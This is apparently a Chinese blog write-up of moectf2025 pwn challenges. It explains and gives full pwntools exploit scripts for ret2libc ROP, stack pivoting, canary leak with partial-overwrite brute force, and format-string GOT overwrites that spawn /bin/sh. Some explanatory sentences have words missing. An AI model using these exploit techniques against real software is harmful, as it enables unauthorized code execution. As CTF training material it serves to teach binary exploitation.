2961 字
7 分钟
moectf2025_pwn_part.4(详细审计_14~18)
easylibc




但我们要注意的是,之前我们利用的是的真实地址减去它在中的相对偏移来算出的基址的。现在由于动态绑定机制,我们的的表中还没有存放真实的地址。所以我们需要等待第一次调用后存入真实地址之后再重新泄露。
那么这次的函数我们就要想办法执行一次,然后再跳转回来执行一次。

elf_base = leaked - 0x1060main_addr = elf_base + 0x11D3后面我们就利用栈溢出再跳转回,然后重新泄露的真实地址,打即可。
EXP:
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn_patched'HOST = '127.0.0.1'PORT = 34443
#p = remote(HOST, PORT)p = process(LOCAL)elf = ELF('./pwn_patched')libc = ELF('./libc.so.6')#gdb.attach(p)
p.recvuntil(b"can I use ")leaked = int(p.recv(14), 16)log.success(f"read_got:{hex(leaked)}")
elf_base = leaked - 0x1060main_addr = elf_base + 0x11D3log.success(f"elf_base: {hex(elf_base)}")
payload1 = flat([ b'a' * 0x28, p64(main_addr)])p.sendlineafter(b"Damn!\n", payload1)
p.recvuntil(b"can I use ")leaked = int(p.recv(14), 16)log.success(f"read_addr:{hex(leaked)}")
libc.address = leaked - libc.symbols['read']log.success(f"libc_base: {hex(libc.address)}")
pop_rdi = libc.address + 0x2a3e5ret = libc.address + 0x29139bin_sh_addr = libc.address + 0x1d8678system_addr = libc.symbols['system']
payload2 = flat([ b'a' * 40, p64(pop_rdi), p64(bin_sh_addr), p64(ret), p64(system_addr)])
p.sendlineafter(b"Damn!\n", payload2)
p.interactive()ezpivot
想要做出这题我们需要重新深入理解栈的原理。



此外我们通过还可以看到有个里面给了个的。
endbr64push rbpmov rbp, rsppop rdiretnmagic endp而里面用了一次,我们可以利用这个call system和上面的来构造。
call _systempop rbp
1C,也就是个字节,我们在栈溢出之后只能刚好覆盖掉返回地址,无法再构建链。然后这题我们的做法是把栈整个都迁移到段上,然后执行并构造我们的链。

那么我们的做法首先是在往后的段上放置好我们的参数,然后在后面栈溢出的地方将栈迁移到我们设置参数的位置。
我们先看如何迁移。这里的需要用到
leave; ret这个,它拆分开来就是mov rsp, rbp; pop rbp; retn。也就是直接将移动到的位置,然后将(此时也指向它)的值弹出到上,然后,下移到之前返回地址的地方,(此时还在栈上)。这是函数执行结束前的第一次操作。接着会开始执行我们的栈溢出内容,我们又会执行一次leave; ret,但这次我们的就会直接离开栈,然后指向新的的位置(也就是我们迁移的栈上了)。然后我们会将此时指向的的值又弹出来,存到新的上。(不过这个已经不重要了,因为此时我们的已经到段上了)接着开始ret执行我们的链。所以对于我们的我们只需要覆盖为对应段上的地址,然后返回地址改成这个的地址就成功迁移了。 就是这样。
payload2 = flat([ b'a' * 12, p64(desc_addr + 0x700), p64(leave_ret)])我们再看到,这里我们需要为调用提供足够的增长空间,否则如果超出了段后其他段可能没有读写权限,然后程序就会发生段错误。这里的就是伪造好的的值,过来之后就会指向这个地方,然后,开始执行下面的,最终。
payload1 = flat([ b'\0' * 0x700, p64(0), p64(pop_rdi_ret), p64(desc_addr + 0x720), p64(system_addr), b'/bin/sh\x00'])EXP:
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn'HOST = '127.0.0.1'PORT = 41493
#p = remote(HOST, PORT)p = process(LOCAL)
#gdb.attach(p)
backdoor_addr = 0x40121Epop_rdi_ret = 0x401219desc_addr = 0x404060leave_ret = 0x40133Esystem_addr = 0x401230ret_addr = 0x40101a
payload1 = flat([ b'\0' * 0x700, p64(0), p64(pop_rdi_ret), p64(desc_addr + 0x720), p64(system_addr), b'/bin/sh\x00'])
p.sendlineafter("introduction.", b'-1')p.send(payload1)
payload2 = flat([ b'a' * 12, p64(desc_addr + 0x700), p64(leave_ret)])
p.sendlineafter("number:", payload2)
p.interactive()ezprotection
这题保护全开。


这里我第一次尝试的时候想过可以在前面缓冲区时泄露返回地址的高位来找到地址,不过很遗憾高位有会截断。
正确做法是只覆盖低位,因为后门函数和主函数都在同一页内,高位的地址是相同的,我们只覆盖低位,也就是偏移就可以跳转后门。然而我们尝试覆盖地址的时候是没有办法只覆盖位的,因为位下发送的字节都是位整。所以这里我们只能猜测位的部分为,然后一直发送直到猜中,然后跳转后门泄露。

中用了一个循环来不断重新执行,然后用接收输出的所有数据,如果出现了跳转后门的提示就会输出数据,否则继续执行。
EXP:
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn'HOST = '127.0.0.1'PORT = 39881
while True: #p = remote(HOST, PORT) p = process(LOCAL)
p.sendafter("watching over you.", b'a' * 25) p.recv(24) p.recv(0x2f) p.recv(25) data = p.recv(15) canary = u64(b'\x00' + data[:7]) log.success(f"canary:{hex(canary)}")
payload = flat([ b'a' * 24, p64(canary), b'a' * 8, p16(0x127D) ]) p.sendafter("anything anyway.", payload)
out = p.recvall(timeout = 3) if out.find(b"secret") != -1: print(out) break else: p.close() continuefmt_S
没开其他都开了。
这题是一道有点难度的格式化字符串。



read(0, a1, a2)会返回读入的字节数目,如果字节数刚好是我们就可以覆盖隔壁的内存。

这里我们的核心思路是利用两次对地址内容的写入修改的表为的函数入口,此时恰好在之后,会将写入的内容传给,我们向写入就会直接传递给来。为此我们需要利用栈上指针互相指向的特性来构造一个长链。

第一次我们向第个参数的栈地址的值上写入了表,然后第二次我们就在这个栈地址上再通过向表写入的函数入口就成功修改表了。然后第三次输入时,我们发送,执行到之后就会跳转然后弹了。
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
LOCAL = './pwn_patched'HOST = '127.0.0.1'PORT = 43569
#p = remote(HOST, PORT)p = process(LOCAL)
#gdb.attach(p)
printf_got = 0x404028system_plt = 0x4010E0
payload1 = "%{}c%8$ln".format(printf_got).encode()p.sendafter("You start talking to him...", payload1)p.sendafter("battle!", b'a' * 8)
payload2 = '%{}c%12$ln'.format(system_plt).encode()p.sendafter("You start talking to him...", payload2)p.sendafter("battle!", b'a' * 8)
p.sendafter("You start talking to him...", b'/bin/sh\x00')
p.interactive()fmt_T




目前我们能利用的只有格式化字符串,并且没有明显的栈溢出。格式化字符串可以泄露,同时只有,考虑能否同样使用修改表的方法调用。
我们在主函数第一个可以输入个字符,刚好泄露对应的函数地址来得到,然后得出的真实地址。
这里我们不需要再像上一题一样还要找到并修改栈上的长链了,我们自己就可以在递归调用生成的缓冲区里直接搭建我们的链来进行格式化字符串修改。而这里的原理是递归会先结束最后调用的函数,所以第一次使用的是为的那个函数,我们利用这个函数来修改的表。第二次也就是为的函数,我们就写入的表,然后在第一次的调用中修改这里表指向的真实地址为的真实地址。然后最后一次为的函数,我们就输入加截断,再加触发,此时里存的正是,触发之后就会直接。

但实际上修改起来还有一点困难。这里我们要知道和都是动态链接的函数库,它们被分配到同一页上,所以它们只有前三个字节是不同的。也就是我们要修改三个字节。但是实际上我们是无法直接写入字节的。(这是因为的输入没有字节的输入)这里运用了一个比较巧妙的方法。
我们知道第二次调用可以写入个字符,也就是个字节,那么我们可以输入两个的got表地址,一个用来写入个字节,(可以写入一个字节)另一个写入紧靠着的个字节。(可以写入两个字节)。在偏移量为的位置我们就输入的地址用来修改第一个字节,在偏移量为的位置,我们就输入,(刚好偏移掉第一个我们写入的字节)。分别写入的第一个字节和紧靠着的两个字节即可。
byte0 = system & 0xff是只取第一个字节,byte1 = (system >> 8) & 0xffff是右移动了位(也就是个字节)之后再取两个字节。(byte1- byte0)& 0xffff这里需要是因为也会读取之前输出的空格来计数,的操作是保证了负数情况下也能正确输出相应的空格数来保证写入正确。(其实就是输出一个更大的数来取模)。from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')context.terminal = ['tmux', 'splitw', '-h']
LOCAL = './pwn_patched'HOST = '127.0.0.1'PORT = 46703
p = remote(HOST, PORT)#p = process(LOCAL)elf = ELF('./pwn_patched')libc = ELF('./libc.so.6')
#gdb.attach(p)
p.send(b'%11$p')leaked = int(p.recv(14), 16)libc.address = leaked - libc.symbols['__libc_start_call_main'] - 128log.success(f"libc: {hex(libc.address)}")
system = libc.symbols['system']printf_got = elf.got['printf']byte0 = system & 0xffbyte1 = (system >> 8) & 0xffff
payload1 = p64(printf_got) + p64(printf_got + 1)[:7]p.send(b'sh\x00%')p.send(payload1)payload2 = f"%{byte0}c%24$hhn".encode()payload2 += f"%{ (byte1- byte0)& 0xffff}c%25$hn\n".encode()p.send(payload2)
p.interactive() moectf2025_pwn_part.4(详细审计_14~18)
https://mkrari.cn/posts/moectf2025_pwn_4/